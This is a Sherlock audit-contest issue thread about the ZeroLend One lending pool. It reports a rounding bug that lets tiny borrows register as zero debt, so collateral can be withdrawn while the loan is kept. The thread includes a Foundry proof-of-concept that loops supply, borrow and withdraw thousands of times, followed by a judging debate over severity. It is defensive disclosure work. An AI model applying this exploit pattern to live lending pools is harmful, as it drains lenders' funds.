search

sherlock-audit / 2024-06-new-scope-judging

0 stars 0 forks source link

danzero - Small amount of borrow can drain pool #291

Open sherlock-admin4 opened 4 weeks ago

sherlock-admin4 commented 4 weeks ago

danzero

High

Small amount of borrow can drain pool

Summary

A user can supply some amount of a token and borrow a small amount of a token from the pool and withdraw the initial amount they supplied without repaying the borrowed amount which could cause insolvency for the pool.

Root Cause

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/ValidationLogic.sol#L124 The validateBorrow function In ValidationLogic.sol is used to validate borrow request from the user, currently it only requires that the borrowed amount is not 0, this allows user to borrow a minuscule amount of token.

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/ValidationLogic.sol#L239 The validateHealthFactor function in ValidationLogic.sol validate the requested amount of withdrawal from the user corresponding to the health factor. The healthFactor variable returned from the GenericLogic.calculateUserAccountData function is compared with the HEALTH_FACTOR_LIQUIDATION_THRESHOLD to be bigger or equal or else it reverts with an error.

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/GenericLogic.sol#L69 Inside the calculateUserAccountData function the vars.totalDebtInBaseCurrency variable determines the healthFactor variable. The vars.totalDebtInBaseCurrency variable is increased by the _getUserDebtInBaseCurrency function.

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/GenericLogic.sol#L184 Inside this function the usersTotalDebt variable is divided by the assetUnit variable which is fetched from the reserve configuration of the asset. This is a problem if the assetUnit is bigger than the usersTotalDebt as it will amount to 0 in the end which would set the healthFactor variable to type(uint256).max which would allow the user to withdraw the initial amount that is supplied while still keeping the borrowed amount.

Internal pre-conditions

  1. Reserve Configuration of the asset needs to be borrowable :
    • frozen: false
    • borrowable: true

External pre-conditions

  1. At least 1 user needs to supply the token in the pool for an attacker to exploit this vulnerability.

Attack Path

  1. User 1 supply 1e18 wei of token A
  2. Attacker supply 1e13 wei of token A at position index 0
  3. Attacker borrow 1e9*9 wei of token A at position index 0
  4. Attacker withdraw initial supplied amount of token A at position index 0
  5. Attacker repeat step 2 - 4 for possibly thousands of times at incrementing position index (1,2,3....)
  6. User 1 withdraw initial supplied amount of token A (Revert error)

Impact

PoC

// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.19;

import {MintableERC20} from '../../../../contracts/mocks/MintableERC20.sol';
import {PoolEventsLib, PoolSetup} from '../../core/pool/PoolSetup.sol';
import {console2} from '../../../../lib/forge-std/src/console2.sol';
import {stdError} from '../../../../lib/forge-std/src/StdError.sol';
import {DataTypes} from '../../../../contracts/core/pool/configuration/DataTypes.sol';
import {ReserveConfiguration} from '../../../../contracts/core/pool/configuration/ReserveConfiguration.sol';

contract mytest is PoolSetup {
  function setUp() public {
    _setUpPool();

    console2.log('This:', address(this));
    console2.log('msg.sender:', address(msg.sender));
    console2.log('owner:', address(owner));
    console2.log('whale:', address(whale));
    console2.log('ant:', address(ant));
    console2.log('governance:', address(governance));
  }

  function testSmallBorroWithdraw() external {

    uint256 index = 0;
    pos = keccak256(abi.encodePacked(address(owner), 'index', uint256(index)));
    uint256 mintAmount = 5 ether;

    tokenA.mint(owner, mintAmount);
    tokenA.mint(whale, mintAmount);
    tokenA.mint(ant, mintAmount);

    vm.startPrank(owner);
    tokenA.approve(address(pool), mintAmount * 1e9);

    vm.startPrank(ant);
    tokenA.approve(address(pool), mintAmount * 1e9);

    vm.startPrank(whale);
    tokenA.approve(address(pool), mintAmount * 1e9);

    console2.log('Owner Balance: ', tokenA.balanceOf(owner));
    console2.log('Ant Balance: ', tokenA.balanceOf(ant));
    console2.log('Whale Balance: ', tokenA.balanceOf(whale));
    console2.log('Pool Balance: ', tokenA.balanceOf(address(pool)));

    vm.startPrank(whale);
    pool.supplySimple(address(tokenA), whale, mintAmount, index);
    // pool.borrowSimple(address(tokenA), whale, mintAmount/2, index);
    // pool.withdrawSimple(address(tokenA), whale, mintAmount, index);

    vm.startPrank(owner);

    //Why only 4000 ? Avoid out of gas error, there could be a way to bypass this in foundry but due to time constraint, this is the best POC for now...
    for(uint i = 0; i < 4000; i++){
      pool.supplySimple(address(tokenA), owner, mintAmount, index+i);
      pool.borrowSimple(address(tokenA), owner, 1e9*9, index+i);
      pool.withdrawSimple(address(tokenA), owner, mintAmount, index+i);

      // console2.log(i);

    }

    // pool.borrowSimple(address(tokenA), owner, 1e9, index);

    // vm.startPrank(ant);
    // pool.supplySimple(address(tokenA), ant, mintAmount, index);
    // pool.borrowSimple(address(tokenA), ant, 1e9*9, index);
    // // pool.repaySimple(address(tokenA), 1e9*9, index);
    // pool.withdrawSimple(address(tokenA), ant, mintAmount, index);

    console2.log('Owner Debt: ', pool.getDebt(address(tokenA), owner, 0));
    // console2.log('Ant Debt: ', pool.getDebt(address(tokenA), ant, 0));

    console2.log('Owner Balance: ', tokenA.balanceOf(owner));
    // console2.log('Ant Balance: ', tokenA.balanceOf(ant));
    console2.log('Whale Balance: ', tokenA.balanceOf(whale));
    console2.log('Pool Balance: ', tokenA.balanceOf(address(pool)));

    vm.startPrank(whale);
    pool.withdrawSimple(address(tokenA), owner, mintAmount, index); //[FAIL. Reason: panic: arithmetic underflow or overflow (0x11)]

  }
}

Mitigation

Fix the require statement in validateBorrow function In ValidationLogic.sol such that it the minimum borrowed amount depends on the decimals of the asset borrowed. An attacker can get away borrowing 1e9 of an asset with 1e18 decimal but fails when it tries to borrow 1e10, hence the require statement could be something like "minimum borrow amount needs to be 8 decimal difference to the asset decimal". Could be something like this:

uint256 minAmount = 10 ** params.cache.reserveConfiguration.getDecimals() / 1e8;
require(params.amount >= minAmount, PoolErrorsLib.INVALID_AMOUNT);
sherlock-admin3 commented 2 weeks ago

1 comment(s) were left on this issue during the judging contest.

Honour commented:

Possibly invalid along with dupes #137 #148 #390. Code is a fork of AAVE and aave doesn't implement a min. borrow. Cant't drain pool as it would require 10^9 (txs/ loops in a single tx) to borrow 1e18 token worth of debt. it's difficult to say how much can actually be borrowed using this.

git-denial commented 5 days ago

I think this should be a unique issue on its own

Possible duplicates:

11

137

148

390

While these issues had some similarity with this report, there's no mention how user can "get away" by withdrawing the initial supplied amount.

I believe it became a whole other issue when user can get away by withdrawing their initial supplied amount.When the pool implementation is upgraded which includes the health check fix by the admin, they could possibly be liquidated if the user didn't withdraw.

git-denial commented 5 days ago

Also why is this not a high vulnerability ? This is a direct theft of user funds and protocol which could spread like a wildfire if many people discovered this vulnerability knowing the simplicity to execute the attack which eventually could trigger a bank-run.

0xjuaan commented 4 days ago

Escalate

This is a good catch, but the impact does not meet the criteria for medium severity.

Here is the code where the precision loss occurs:

uint256 userTotalDebt = balance.debtShares;
if (userTotalDebt != 0) userTotalDebt = userTotalDebt.rayMul(reserve.getNormalizedDebt());
userTotalDebt = assetPrice * userTotalDebt;

unchecked {
  return userTotalDebt / assetUnit;
}

For precision loss, we require userTotalDebt < assetUnit in the last line.

This means we require assetPrice*userTotalDebt < assetUnit

This means that userTotalDebt < assetUnit where assetPrice is the price returned by getAssetPrice() which is from the chainlink feed.

Most chainlink feeds return values in 8 decimals.

Take for example assetPrice = 1e8 (DAI)

In this case, assetUnit = 1e18

Hence in order for precision loss, we require userTotalDebt < 1e10

So each iteration, we can borrow less than 1e10 assets

This means it takes 100 million iterations of supply->borrow->withdraw in order to profit $1. (Since assetPrice is 1e8)

With 4000 iterations per transaction, 25000 transactions are required.

While the above transactions will use extreme amounts of gas we'll optimistically assume they take the average gas cost of an L2 which is $0.02

The cost would be $0.02 * 25k = $500, to earn $1.

Side note: Note that if an asset like ETH is used instead, while the assetPrice increases, this proportionally decreases the maximum userTotalDebt which can be borrowed, so the attack cost remains unchanged regardless of the asset used.

Also, this won't work at all for lower decimal assets like USDT/USDC since userTotalDebt*assetPrice (debt * 1e8) will always be greater than assetUnit (1e6)

sherlock-admin3 commented 4 days ago

Escalate

This is a good catch, but the impact does not meet the criteria for medium severity.

Here is the code where the precision loss occurs:

uint256 userTotalDebt = balance.debtShares;
if (userTotalDebt != 0) userTotalDebt = userTotalDebt.rayMul(reserve.getNormalizedDebt());
userTotalDebt = assetPrice * userTotalDebt;

unchecked {
  return userTotalDebt / assetUnit;
}

For precision loss, we require userTotalDebt < assetUnit in the last line.

This means we require assetPrice*userTotalDebt < assetUnit

This means that userTotalDebt < assetUnit where assetPrice is the price returned by getAssetPrice() which is from the chainlink feed.

Most chainlink feeds return values in 8 decimals.

Take for example assetPrice = 1e8 (DAI)

In this case, assetUnit = 1e18

Hence in order for precision loss, we require userTotalDebt < 1e10

So each iteration, we can borrow less than 1e10 assets

This means it takes 100 million iterations of supply->borrow->withdraw in order to profit $1. (Since assetPrice is 1e8)

With 4000 iterations per transaction, 25000 transactions are required.

While the above transactions will use extreme amounts of gas we'll optimistically assume they take the average gas cost of an L2 which is $0.02

The cost would be $0.02 * 25k = $500, to earn $1.

Side note: Note that if an asset like ETH is used instead, while the assetPrice increases, this proportionally decreases the maximum userTotalDebt which can be borrowed, so the attack cost remains unchanged regardless of the asset used.

Also, this won't work at all for lower decimal assets like USDT/USDC since userTotalDebt*assetPrice (debt * 1e8) will always be greater than assetUnit (1e6)

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

git-denial commented 3 days ago

Escalate

This is a good catch, but the impact does not meet the criteria for medium severity.

For precision loss, we require userTotalDebt < assetUnit in the last line.

This means we require assetPrice*userTotalDebt < assetUnit

This means that userTotalDebt < assetUnit where assetPrice is the price returned by getAssetPrice() which is from the chainlink feed.

Most chainlink feeds return values in 8 decimals.

Take for example assetPrice = 1e8 (DAI)

In this case, assetUnit = 1e18 .....................................................

Thanks for the escalation and the breakdown, I agree that this should not be a medium severity. This should be a high severity, however for the record, this report also meets the medium vulnerability:

From https://docs.sherlock.xyz/audits/real-time-judging/judging#v.-how-to-identify-a-medium-issue:

Note: If a single attack can cause a 0.01% loss but can be replayed indefinitely, it will be considered a 100% loss and can be medium or high, depending on the constraints.

This attack can be replayed indefinitely on almost every token out there given 18 decimal format token is the default standard for ERC20 token. Some ways this attack can be stopped is if the admin froze the asset (which could be temporary) or all lenders decided to withdraw the asset.

And for why this deserves a high severity, from https://docs.sherlock.xyz/audits/real-time-judging/judging#iv.-how-to-identify-a-high-issue :

Definite loss of funds without (extensive) limitations of external conditions. The loss of the affected party must exceed 1%.

Take an example, a lender that lends $100 in a $100_000 pool, it is guaranteed that this attack will eventually cause a $100 loss given it can be replayed indefinitely, maybe not in 1 day. But as more users discover this vulnerability, the loss could scale up pretty quick.